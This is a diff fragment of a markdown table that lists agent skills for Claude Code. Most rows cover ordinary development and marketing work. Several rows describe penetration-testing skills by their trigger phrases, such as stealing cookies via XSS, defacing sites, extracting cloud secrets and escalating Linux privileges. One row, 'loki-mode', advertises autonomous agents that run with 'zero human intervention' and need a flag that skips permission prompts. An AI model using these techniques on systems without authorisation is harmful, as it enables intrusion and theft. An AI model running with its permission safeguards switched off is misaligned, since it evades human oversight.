+| **brainstorming**                                   | "You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/brainstorming`                       |
+| **brand-guidelines**                                | Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/brand-guidelines-community`          |
+| **brand-guidelines**                                | Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/brand-guidelines-anthropic`          |
+| **Broken Authentication Testing**                   | This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/broken-authentication`               |
+| **browser-automation**                              | "Browser automation powers web testing, scraping, and AI agent interactions. The difference between a flaky script and a reliable system comes down to understanding selectors, waiting strategies, and anti-detection patterns. This skill covers Playwright (recommended) and Puppeteer, with patterns for testing, scraping, and agentic browser control. Key insight: Playwright won the framework war. Unless you need Puppeteer's stealth ecosystem or are Chrome-only, Playwright is the better choice in 202"                                                                                                                                                                                                                                                                                                                    | `skills/browser-automation`                  |
+| **browser-extension-builder**                       | "Expert in building browser extensions that solve real problems - Chrome, Firefox, and cross-browser extensions. Covers extension architecture, manifest v3, content scripts, popup UIs, monetization strategies, and Chrome Web Store publishing. Use when: browser extension, chrome extension, firefox addon, extension, manifest v3."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/browser-extension-builder`           |
+| **bullmq-specialist**                               | "BullMQ expert for Redis-backed job queues, background processing, and reliable async execution in Node.js/TypeScript applications. Use when: bullmq, bull queue, redis queue, background job, job queue."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/bullmq-specialist`                   |
+| **bun-development**                                 | "Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, or migrating from Node.js to Bun."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/bun-development`                     |
+| **Burp Suite Web Application Testing**              | This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/burp-suite-testing`                  |
+| **canvas-design**                                   | Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/canvas-design`                       |
+| **cc-skill-continuous-learning**                    | Development skill from everything-claude-code                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/cc-skill-continuous-learning`        |
+| **cc-skill-project-guidelines-example**             | Project Guidelines Skill (Example)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/cc-skill-project-guidelines-example` |
+| **cc-skill-strategic-compact**                      | Development skill from everything-claude-code                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/cc-skill-strategic-compact`          |
+| **Claude Code Guide**                               | Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies "Thinking" keywords, debugging techniques, and best practices for interacting with the agent.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/claude-code-guide`                   |
+| **clean-code**                                      | Pragmatic coding standards - concise, direct, no over-engineering, no unnecessary comments                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/clean-code`                          |
+| **clerk-auth**                                      | "Expert patterns for Clerk auth implementation, middleware, organizations, webhooks, and user sync Use when: adding authentication, clerk auth, user authentication, sign in, sign up."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/clerk-auth`                          |
+| **clickhouse-io**                                   | ClickHouse database patterns, query optimization, analytics, and data engineering best practices for high-performance analytical workloads.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/cc-skill-clickhouse-io`              |
+| **Cloud Penetration Testing**                       | This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/cloud-penetration-testing`           |
+| **code-review-checklist**                           | "Comprehensive checklist for conducting thorough code reviews covering functionality, security, performance, and maintainability"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/code-review-checklist`               |
+| **coding-standards**                                | Universal coding standards, best practices, and patterns for TypeScript, JavaScript, React, and Node.js development.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/cc-skill-coding-standards`           |
+| **competitor-alternatives**                         | "When the user wants to create competitor comparison or alternative pages for SEO and sales enablement. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'comparison page,' '[Product] vs [Product],' '[Product] alternative,' or 'competitive landing pages.' Covers four formats: singular alternative, plural alternatives, you vs competitor, and competitor vs competitor. Emphasizes deep research, modular content architecture, and varied section types beyond feature tables."                                                                                                                                                                                                                                                                                                          | `skills/competitor-alternatives`             |
+| **computer-use-agents**                             | "Build AI agents that interact with computers like humans do - viewing screens, moving cursors, clicking buttons, and typing text. Covers Anthropic's Computer Use, OpenAI's Operator/CUA, and open-source alternatives. Critical focus on sandboxing, security, and handling the unique challenges of vision-based control. Use when: computer use, desktop automation agent, screen control AI, vision-based agent, GUI automation."                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/computer-use-agents`                 |
+| **concise-planning**                                | Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/concise-planning`                    |
+| **content-creator**                                 | Create SEO-optimized marketing content with consistent brand voice. Includes brand voice analyzer, SEO optimizer, content frameworks, and social media templates. Use when writing blog posts, creating social media content, analyzing brand voice, optimizing SEO, planning content calendars, or when user mentions content creation, brand voice, SEO optimization, social media marketing, or content strategy.                                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/content-creator`                     |
+| **context-window-management**                       | "Strategies for managing LLM context windows including summarization, trimming, routing, and avoiding context rot Use when: context window, token limit, context management, context engineering, long context."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/context-window-management`           |
+| **conversation-memory**                             | "Persistent memory systems for LLM conversations including short-term, long-term, and entity-based memory Use when: conversation memory, remember, memory persistence, long-term memory, chat history."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/conversation-memory`                 |
+| **copy-editing**                                    | "When the user wants to edit, review, or improve existing marketing copy. Also use when the user mentions 'edit this copy,' 'review my copy,' 'copy feedback,' 'proofread,' 'polish this,' 'make this better,' or 'copy sweep.' This skill provides a systematic approach to editing marketing copy through multiple focused passes."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/copy-editing`                        |
+| **copywriting**                                     | When the user wants to write, rewrite, or improve marketing copy for any page — including homepage, landing pages, pricing pages, feature pages, about pages, or product pages. Also use when the user says "write copy for," "improve this copy," "rewrite this page," "marketing copy," "headline help," or "CTA copy." For email copy, see email-sequence. For popup copy, see popup-cro.                                                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/copywriting`                         |
+| **core-components**                                 | Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/core-components`                     |
+| **crewai**                                          | "Expert in CrewAI - the leading role-based multi-agent framework used by 60% of Fortune 500 companies. Covers agent design with roles and goals, task definition, crew orchestration, process types (sequential, hierarchical, parallel), memory systems, and flows for complex workflows. Essential for building collaborative AI agent teams. Use when: crewai, multi-agent team, agent roles, crew of agents, role-based agents."                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/crewai`                              |
+| **Cross-Site Scripting and HTML Injection Testing** | This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/xss-html-injection`                  |
+| **d3-viz**                                          | Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visualisation that requires fine-grained control over visual elements, transitions, or interactions. Use this for bespoke visualisations beyond standard charting libraries, whether in React, Vue, Svelte, vanilla JavaScript, or any other environment.                                                                                                                                                                                                                                                                                                                                                                                | `skills/claude-d3js-skill`                   |
+| **database-design**                                 | Database design principles and decision-making. Schema design, indexing strategy, ORM selection, serverless databases.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/database-design`                     |
+| **deployment-procedures**                           | Production deployment principles and decision-making. Safe deployment workflows, rollback strategies, and verification. Teaches thinking, not scripts.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/deployment-procedures`               |
+| **discord-bot-architect**                           | "Specialized skill for building production-ready Discord bots. Covers Discord.js (JavaScript) and Pycord (Python), gateway intents, slash commands, interactive components, rate limiting, and sharding."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/discord-bot-architect`               |
+| **dispatching-parallel-agents**                     | Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/dispatching-parallel-agents`         |
+| **doc-coauthoring**                                 | Guide users through a structured workflow for co-authoring documentation. Use when user wants to write documentation, proposals, technical specs, decision docs, or similar structured content. This workflow helps users efficiently transfer context, refine content through iteration, and verify the doc works for readers. Trigger when user mentions writing docs, creating proposals, drafting specs, or similar documentation tasks.                                                                                                                                                                                                                                                                                                                                                                                             | `skills/doc-coauthoring`                     |
+| **docker-expert**                                   | Docker containerization expert with deep knowledge of multi-stage builds, image optimization, container security, Docker Compose orchestration, and production deployment patterns. Use PROACTIVELY for Dockerfile optimization, container issues, image size problems, security hardening, networking, and orchestration challenges.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/docker-expert`                       |
+| **documentation-templates**                         | Documentation templates and structure guidelines. README, API docs, code comments, and AI-friendly documentation.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/documentation-templates`             |
+| **docx**                                            | "Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. When Claude needs to work with professional documents (.docx files) for: (1) Creating new documents, (2) Modifying or editing content, (3) Working with tracked changes, (4) Adding comments, or any other document tasks"                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `skills/docx-official`                       |
+| **email-sequence**                                  | When the user wants to create or optimize an email sequence, drip campaign, automated email flow, or lifecycle email program. Also use when the user mentions "email sequence," "drip campaign," "nurture sequence," "onboarding emails," "welcome sequence," "re-engagement emails," "email automation," or "lifecycle emails." For in-app onboarding, see onboarding-cro.                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `skills/email-sequence`                      |
+| **email-systems**                                   | "Email has the highest ROI of any marketing channel. $36 for every $1 spent. Yet most startups treat it as an afterthought - bulk blasts, no personalization, landing in spam folders. This skill covers transactional email that works, marketing automation that converts, deliverability that reaches inboxes, and the infrastructure decisions that scale. Use when: keywords, file_patterns, code_patterns."                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/email-systems`                       |
+| **environment-setup-guide**                         | "Guide developers through setting up development environments with proper tools, dependencies, and configurations"                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/environment-setup-guide`             |
+| **Ethical Hacking Methodology**                     | This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/ethical-hacking-methodology`         |
+| **executing-plans**                                 | Use when you have a written implementation plan to execute in a separate session with review checkpoints                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/executing-plans`                     |
+| **File Path Traversal Testing**                     | This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/file-path-traversal`                 |
+| **file-organizer**                                  | Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. Use when user wants to clean up directories, organize downloads, remove duplicates, or restructure projects.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/file-organizer`                      |
+| **file-uploads**                                    | "Expert at handling file uploads and cloud storage. Covers S3, Cloudflare R2, presigned URLs, multipart uploads, and image optimization. Knows how to handle large files without blocking. Use when: file upload, S3, R2, presigned URL, multipart."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/file-uploads`                        |
+| **finishing-a-development-branch**                  | Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/finishing-a-development-branch`      |
+| **firebase**                                        | "Firebase gives you a complete backend in minutes - auth, database, storage, functions, hosting. But the ease of setup hides real complexity. Security rules are your last line of defense, and they're often wrong. Firestore queries are limited, and you learn this after you've designed your data model. This skill covers Firebase Authentication, Firestore, Realtime Database, Cloud Functions, Cloud Storage, and Firebase Hosting. Key insight: Firebase is optimized for read-heavy, denormalized data. I"                                                                                                                                                                                                                                                                                                                    | `skills/firebase`                            |
+| **form-cro**                                        | When the user wants to optimize any form that is NOT signup/registration — including lead capture forms, contact forms, demo request forms, application forms, survey forms, or checkout forms. Also use when the user mentions "form optimization," "lead form conversions," "form friction," "form fields," "form completion rate," or "contact form." For signup/registration forms, see signup-flow-cro. For popups containing forms, see popup-cro.                                                                                                                                                                                                                                                                                                                                                                                 | `skills/form-cro`                            |
+| **free-tool-strategy**                              | When the user wants to plan, evaluate, or build a free tool for marketing purposes — lead generation, SEO value, or brand awareness. Also use when the user mentions "engineering as marketing," "free tool," "marketing tool," "calculator," "generator," "interactive tool," "lead gen tool," "build a tool for leads," or "free resource." This skill bridges engineering and marketing — useful for founders and technical marketers.                                                                                                                                                                                                                                                                                                                                                                                                | `skills/free-tool-strategy`                  |
+| **frontend-design**                                 | Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, artifacts, posters, or applications (examples include websites, landing pages, dashboards, React components, HTML/CSS layouts, or when styling/beautifying any web UI). Generates creative, polished code and UI design that avoids generic AI aesthetics.                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/frontend-design`                     |
+| **frontend-dev-guidelines**                         | Frontend development guidelines for React/TypeScript applications. Modern patterns including Suspense, lazy loading, useSuspenseQuery, file organization with features directory, MUI v7 styling, TanStack Router, performance optimization, and TypeScript best practices. Use when creating components, pages, features, fetching data, styling, routing, or working with frontend code.                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/frontend-dev-guidelines`             |
+| **frontend-patterns**                               | Frontend development patterns for React, Next.js, state management, performance optimization, and UI best practices.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/cc-skill-frontend-patterns`          |
+| **game-art**                                        | Game art principles. Visual style selection, asset pipeline, animation workflow.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/game-development/game-art`           |
+| **game-audio**                                      | Game audio principles. Sound design, music integration, adaptive audio systems.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/game-development/game-audio`         |
+| **game-design**                                     | Game design principles. GDD structure, balancing, player psychology, progression.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/game-development/game-design`        |
+| **game-development**                                | Game development orchestrator. Routes to platform-specific skills based on project needs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/game-development`                    |
+| **gcp-cloud-run**                                   | "Specialized skill for building production-ready serverless applications on GCP. Covers Cloud Run services (containerized), Cloud Run Functions (event-driven), cold start optimization, and event-driven architecture with Pub/Sub."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/gcp-cloud-run`                       |
+| **geo-fundamentals**                                | Generative Engine Optimization for AI search engines (ChatGPT, Claude, Perplexity).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/geo-fundamentals`                    |
+| **git-pushing**                                     | Stage, commit, and push git changes with conventional commit messages. Use when user wants to commit and push changes, mentions pushing to remote, or asks to save and push their work. Also activates when user says "push changes", "commit and push", "push this", "push to github", or similar git workflow requests.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/git-pushing`                         |
+| **github-workflow-automation**                      | "Automate GitHub workflows with AI assistance. Includes PR reviews, issue triage, CI/CD integration, and Git operations. Use when automating GitHub workflows, setting up PR review automation, creating GitHub Actions, or triaging issues."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/github-workflow-automation`          |
+| **graphql**                                         | "GraphQL gives clients exactly the data they need - no more, no less. One endpoint, typed schema, introspection. But the flexibility that makes it powerful also makes it dangerous. Without proper controls, clients can craft queries that bring down your server. This skill covers schema design, resolvers, DataLoader for N+1 prevention, federation for microservices, and client integration with Apollo/urql. Key insight: GraphQL is a contract. The schema is the API documentation. Design it carefully."                                                                                                                                                                                                                                                                                                                    | `skills/graphql`                             |
+| **HTML Injection Testing**                          | This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/html-injection-testing`              |
+| **hubspot-integration**                             | "Expert patterns for HubSpot CRM integration including OAuth authentication, CRM objects, associations, batch operations, webhooks, and custom objects. Covers Node.js and Python SDKs. Use when: hubspot, hubspot api, hubspot crm, hubspot integration, contacts api."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/hubspot-integration`                 |
+| **i18n-localization**                               | Internationalization and localization patterns. Detecting hardcoded strings, managing translations, locale files, RTL support.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `skills/i18n-localization`                   |
+| **IDOR Vulnerability Testing**                      | This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/idor-testing`                        |
+| **inngest**                                         | "Inngest expert for serverless-first background jobs, event-driven workflows, and durable execution without managing queues or workers. Use when: inngest, serverless background job, event-driven workflow, step function, durable execution."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/inngest`                             |
+| **interactive-portfolio**                           | "Expert in building portfolios that actually land jobs and clients - not just showing work, but creating memorable experiences. Covers developer portfolios, designer portfolios, creative portfolios, and portfolios that convert visitors into opportunities. Use when: portfolio, personal website, showcase work, developer portfolio, designer portfolio."                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/interactive-portfolio`               |
+| **internal-comms**                                  | A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/internal-comms-anthropic`            |
+| **internal-comms**                                  | A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/internal-comms-community`            |
+| **javascript-mastery**                              | "Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. From fundamentals like primitives and closures to advanced patterns like async/await and functional programming. Use when explaining JS concepts, debugging JavaScript issues, or teaching JavaScript fundamentals."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/javascript-mastery`                  |
+| **kaizen**                                          | Guide for continuous improvement, error proofing, and standardization. Use this skill when the user wants to improve code quality, refactor, or discuss process improvements.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/kaizen`                              |
+| **langfuse**                                        | "Expert in Langfuse - the open-source LLM observability platform. Covers tracing, prompt management, evaluation, datasets, and integration with LangChain, LlamaIndex, and OpenAI. Essential for debugging, monitoring, and improving LLM applications in production. Use when: langfuse, llm observability, llm tracing, prompt management, llm evaluation."                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | `skills/langfuse`                            |
+| **langgraph**                                       | "Expert in LangGraph - the production-grade framework for building stateful, multi-actor AI applications. Covers graph construction, state management, cycles and branches, persistence with checkpointers, human-in-the-loop patterns, and the ReAct agent pattern. Used in production at LinkedIn, Uber, and 400+ companies. This is LangChain's recommended approach for building agents. Use when: langgraph, langchain agent, stateful agent, agent graph, react agent."                                                                                                                                                                                                                                                                                                                                                            | `skills/langgraph`                           |
+| **launch-strategy**                                 | "When the user wants to plan a product launch, feature announcement, or release strategy. Also use when the user mentions 'launch,' 'Product Hunt,' 'feature release,' 'announcement,' 'go-to-market,' 'beta launch,' 'early access,' 'waitlist,' or 'product update.' This skill covers phased launches, channel strategy, and ongoing launch momentum."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/launch-strategy`                     |
+| **lint-and-validate**                               | Automatic quality control, linting, and static analysis procedures. Use after every code modification to ensure syntax correctness and project standards. Triggers onKeywords: lint, format, check, validate, types, static analysis.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/lint-and-validate`                   |
+| **Linux Privilege Escalation**                      | This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.                                                                                                                                                                                                                                                                                                                                                                                              | `skills/linux-privilege-escalation`          |
+| **Linux Production Shell Scripts**                  | This skill should be used when the user asks to "create bash scripts", "automate Linux tasks", "monitor system resources", "backup files", "manage users", or "write production shell scripts". It provides ready-to-use shell script templates for system administration.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/linux-shell-scripting`               |
+| **llm-app-patterns**                                | "Production-ready patterns for building LLM applications. Covers RAG pipelines, agent architectures, prompt IDEs, and LLMOps monitoring. Use when designing AI applications, implementing RAG, building agents, or setting up LLM observability."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/llm-app-patterns`                    |
+| **loki-mode**                                       | Multi-agent autonomous startup system for Claude Code. Triggers on "Loki Mode". Orchestrates 100+ specialized agents across engineering, QA, DevOps, security, data/ML, business operations, marketing, HR, and customer success. Takes PRD to fully deployed, revenue-generating product with zero human intervention. Features Task tool for subagent dispatch, parallel code review with 3 specialized reviewers, severity-based issue triage, distributed task queue with dead letter handling, automatic deployment to cloud providers, A/B testing, customer feedback loops, incident response, circuit breakers, and self-healing. Handles rate limits via distributed state checkpoints and auto-resume with exponential backoff. Requires --dangerously-skip-permissions flag.                                                  | `skills/loki-mode`                           |
+| **marketing-ideas**                                 | "When the user needs marketing ideas, inspiration, or strategies for their SaaS or software product. Also use when the user asks for 'marketing ideas,' 'growth ideas,' 'how to market,' 'marketing strategies,' 'marketing tactics,' 'ways to promote,' or 'ideas to grow.' This skill provides 140 proven marketing approaches organized by category."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/marketing-ideas`                     |
+| **marketing-psychology**                            | "When the user wants to apply psychological principles, mental models, or behavioral science to marketing. Also use when the user mentions 'psychology,' 'mental models,' 'cognitive bias,' 'persuasion,' 'behavioral science,' 'why people buy,' 'decision-making,' or 'consumer behavior.' This skill provides 70+ mental models organized for marketing application."                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | `skills/marketing-psychology`                |
+| **mcp-builder**                                     | Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when building MCP servers to integrate external APIs or services, whether in Python (FastMCP) or Node/TypeScript (MCP SDK).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/mcp-builder`                         |
+| **Metasploit Framework**                            | This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/metasploit-framework`                |
+| **micro-saas-launcher**                             | "Expert in launching small, focused SaaS products fast - the indie hacker approach to building profitable software. Covers idea validation, MVP development, pricing, launch strategies, and growing to sustainable revenue. Ship in weeks, not months. Use when: micro saas, indie hacker, small saas, side project, saas mvp."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | `skills/micro-saas-launcher`                 |
+| **mobile-design**                                   | Mobile-first design thinking and decision-making for iOS and Android apps. Touch interaction, performance patterns, platform conventions. Teaches principles, not fixed values. Use when building React Native, Flutter, or native mobile apps.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `skills/mobile-design`                       |
+| **mobile-games**                                    | Mobile game development principles. Touch input, battery, performance, app stores.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/game-development/mobile-games`       |
+| **moodle-external-api-development**                 | Create custom external web service APIs for Moodle LMS. Use when implementing web services for course management, user tracking, quiz operations, or custom plugin functionality. Covers parameter validation, database operations, error handling, service registration, and Moodle coding standards.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `skills/moodle-external-api-development`     |
+| **multiplayer**                                     | Multiplayer game development principles. Architecture, networking, synchronization.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/game-development/multiplayer`        |
+| **neon-postgres**                                   | "Expert patterns for Neon serverless Postgres, branching, connection pooling, and Prisma/Drizzle integration Use when: neon database, serverless postgres, database branching, neon postgres, postgres serverless."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/neon-postgres`                       |
+| **nestjs-expert**                                   | Nest.js framework expert specializing in module architecture, dependency injection, middleware, guards, interceptors, testing with Jest/Supertest, TypeORM/Mongoose integration, and Passport.js authentication. Use PROACTIVELY for any Nest.js application issues including architecture decisions, testing strategies, performance optimization, or debugging complex dependency injection problems. If a specialized expert is a better fit, I will recommend switching and stop.                                                                                                                                                                                                                                                                                                                                                    | `skills/nestjs-expert`                       |
+| **Network 101**                                     | This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring and testing network services for penetration testing labs.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | `skills/network-101`                         |
+| **nextjs-best-practices**                           | Next.js App Router principles. Server Components, data fetching, routing patterns.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | `skills/nextjs-best-practices`               |
+| **nextjs-supabase-auth**                            | "Expert integration of Supabase Auth with Next.js App Router Use when: supabase auth next, authentication next.js, login supabase, auth middleware, protected route."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | `skills/nextjs-supabase-auth`                |
+| **nodejs-best-practices**                           | Node.js development principles and decision-making. Framework selection, async patterns, security, and architecture. Teaches thinking, not copying.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | `skills/nodejs-best-practices`               |
+| **notebooklm**                                      | Use this skill to query your Google NotebookLM notebooks directly from Claude Code for source-grounded, citation-backed answers from Gemini. Browser automation, library management, persistent auth. Drastically reduced hallucinations through document-only responses.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/notebooklm`                          |
+| **notion-template-business**                        | "Expert in building and selling Notion templates as a business - not just making templates, but building a sustainable digital product business. Covers template design, pricing, marketplaces, marketing, and scaling to real revenue. Use when: notion template, sell templates, digital product, notion business, gumroad."                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `skills/notion-template-business`            |
